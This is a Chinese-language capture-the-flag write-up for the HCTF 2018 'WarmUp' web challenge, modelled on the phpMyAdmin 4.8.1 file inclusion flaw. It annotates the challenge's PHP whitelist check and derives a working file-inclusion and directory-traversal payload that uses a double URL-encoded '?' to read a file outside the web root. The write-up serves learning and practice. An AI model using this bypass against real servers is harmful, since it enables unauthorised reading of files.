[HCTF 2018]WarmUp
题目原型是phpmyadmin4.8.1的任意文件包含漏洞
无脑F12后看到提示source.php
访问相应页面,得到php代码
1 php 2 highlight_file(__FILE__); 3 class emmm 4 { 5 public static function checkFile(&$page) 6 { 7 $whitelist = ["source"=>"source.php","hint"=>"hint.php"]; //设置白名单为source.php和hint.php 8 if (! isset($page) || !is_string($page)) { //$page为字符串 9 echo "you can't see it"; 10 return false; 11 } 12 13 if (in_array($page, $whitelist)) { //in_arry() 在白名单中查找$page 14 return true; 15 } 16 17 $_page = mb_substr( 18 $page, 19 0, 20 mb_strpos($page . '?', '?') //截取'?'之前的部分,若无则截取整个部分 21 ); //从$page中返回截取的部分 22 if (in_array($_page, $whitelist)) { 23 return true; 24 } 25 26 $_page = urldecode($page); //url解码 27 $_page = mb_substr( 28 $_page, 29 0, 30 mb_strpos($_page . '?', '?') 31 ); 32 if (in_array($_page, $whitelist)) { 33 return true; 34 } 35 echo "you can't see it"; 36 return false; 37 } 38 } 39 40 if (! empty($_REQUEST['file']) //file变量非空 41 && is_string($_REQUEST['file']) //file变量为字符串 42 && emmm::checkFile($_REQUEST['file']) //通过checkFile()函数校验 43 ) { 44 include $_REQUEST['file']; //文件包含 45 exit; 46 } else { 47 echo "
"; 48 } 49 ?>
(代码审计的结果已在代码块中作出注释)
在代码中有hint.php,访问后可得到
———————————————————
flag not here, and flag in ffffllllaaaagggg
———————————————————
思路:
要想取得目的结果,最关键的是file参数要通过checkFile()函数校验
而函数中有四个if语句来判断校验成功
$page为字符串
or $page符合白名单内容
or 截取$page中‘?’之前的部分符合白名单内容
or url解码后,截取$page中‘?’之前的部分符合白名单内容
首先前两项可以直接排除,第三项‘?’之后的内容会被服务器解析为get提交的参数,也排除
则只剩下第四项,对‘?’进行两次url编码为%253f,这样服务器解码一次,函数解码一次,‘?’之后的内容也不会被当做参数
构造payload:?file=source.php%253f../ffffllllaaaagggg
但此时无响应,就依次利用'../'来返回上一级目录
最终payload:?file=source.php%253f../../../../../ffffllllaaaagggg
得到flag
注:在其它师傅的wp中有
ffffllllaaaagggg位于根目录下,一般Web服务的文件夹在/var/www/html目录中,再加上source.php?/这个“文件夹”,所以我们总共需要../四次来返回到根目录
(如果比赛中不知道flag具体位置的话可以一层一层来试)
参考链接:http://www.mamicode.com/info-detail-2972647.html